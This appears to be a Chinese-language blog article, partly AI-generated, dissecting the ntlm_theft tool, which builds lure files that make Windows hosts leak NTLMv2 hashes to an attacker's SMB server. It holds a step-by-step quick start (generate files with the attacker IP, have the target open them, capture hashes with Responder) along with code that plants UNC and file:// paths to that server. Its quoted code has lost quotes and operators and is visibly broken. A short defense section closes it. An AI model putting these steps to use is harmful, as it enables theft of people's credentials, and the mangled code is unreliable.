ntlm_theft源代码解析:Python实现哈希窃取文件生成的核心原理

📅 发布时间:2026/7/13 23:27:56 👁️ 浏览次数:
ntlm_theft源代码解析:Python实现哈希窃取文件生成的核心原理
ntlm_theft源代码解析Python实现哈希窃取文件生成的核心原理【免费下载链接】ntlm_theftA tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)项目地址: https://gitcode.com/gh_mirrors/nt/ntlm_theftntlm_theft是一款由Jacob Wilkin开发的Python工具能够生成多种类型的NTLMv2哈希窃取文件。该工具通过构造特殊格式的文件诱导目标系统发起SMB连接从而捕获NTLM哈希是网络安全渗透测试中的实用工具。本文将从核心原理、代码架构和实战应用三个维度深入解析ntlm_theft的实现机制。一、NTLM哈希窃取的核心原理NTLMNT LAN Manager是Windows系统常用的身份验证协议其认证过程中会产生可用于中继或破解的哈希值。ntlm_theft的工作原理基于以下关键机制1.1 协议缺陷利用Windows系统在处理某些文件类型时会自动尝试访问指定的网络资源。例如.url文件会读取IconFile字段指定的UNC路径Office文档会加载外部模板或图片资源媒体文件会尝试解析远程播放列表这些行为会触发SMB认证过程客户端会向攻击者控制的服务器发送NTLM哈希。1.2 多载体攻击策略工具支持18种不同文件类型的攻击向量包括文档类.docx3种攻击方式、.xlsx、.rtf、.pdf媒体类.m3u、.asx、.wax系统类.lnk、.scf、.url、.library-ms每种文件类型通过特定字段构造UNC路径\\ATTACKER_IP\resource诱导目标系统主动发起认证请求。NTLM哈希窃取攻击流程演示左侧为工具生成的恶意文件右侧为Responder捕获的哈希数据二、代码架构与核心模块ntlm_theft.py采用模块化设计主要由参数解析、文件生成和模板处理三大模块组成。2.1 参数解析模块通过argparse实现灵活的命令行参数控制parser.add_argument(-g, --generate, actionstore, destgenerate, requiredTrue, choicesset((modern, all, scf, url, ...)), helpChoose to generate all files or a specific filetype)支持生成all全部文件、modern现代系统适用或指定单一文件类型满足不同场景需求。2.2 文件生成核心函数每种文件类型对应独立的生成函数如create_docx_includepicture、create_xlsx_externalcell等。以URL文件生成为例def create_url_url(generate, server, filename): file open(filename,w) file.write([InternetShortcut] URLfile:// server /leak/leak.html) file.close()通过写入特定格式的内容使系统在解析时触发SMB连接。2.3 模板引擎机制对于复杂文件类型如.docx工具采用模板替换技术从templates/目录加载预定义的文件模板替换模板中的占位IP地址127.0.0.1为攻击者服务器IP打包生成最终文件关键实现代码documentfilename os.path.join(script_directory,templates, docx-includepicture-template) filedata filedata.replace(127.0.0.1, server) shutil.make_archive(filename, zip, docx-includepicture-template) os.rename(filename .zip,filename)三、实战应用与效果验证3.1 快速上手步骤克隆仓库git clone https://gitcode.com/gh_mirrors/nt/ntlm_theft生成攻击文件python ntlm_theft.py --generate all --server 192.168.1.100 --filename test在目标系统打开生成的文件使用Responder捕获哈希responder -I eth03.2 生成文件示例工具会在当前目录创建以指定文件名命名的文件夹包含所有生成的攻击文件工具生成的多种类型攻击文件包括.url、.docx、.pdf等3.3 现代系统兼容性代码中特别标记了对现代Windows系统的支持情况if generate modern: print(Skipping SCF as it does not work on modern Windows) return对于已修复漏洞的文件类型如.scf、.desktopini在modern模式下会自动跳过。四、防御与缓解措施针对NTLM哈希窃取攻击建议采取以下防御策略禁用NTLM认证使用Kerberos启用SMB签名限制UNC路径访问部署高级威胁防护解决方案对可疑文件进行沙箱分析总结ntlm_theft通过巧妙利用Windows系统特性实现了多种文件类型的NTLM哈希窃取功能。其模块化设计和模板机制使其具有良好的可扩展性可轻松添加新的攻击向量。安全从业人员可通过研究该工具深入理解NTLM认证过程和防御方法提升网络安全防护能力。工具源码可在项目根目录的ntlm_theft.py中查看完整实现。【免费下载链接】ntlm_theftA tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)项目地址: https://gitcode.com/gh_mirrors/nt/ntlm_theft创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考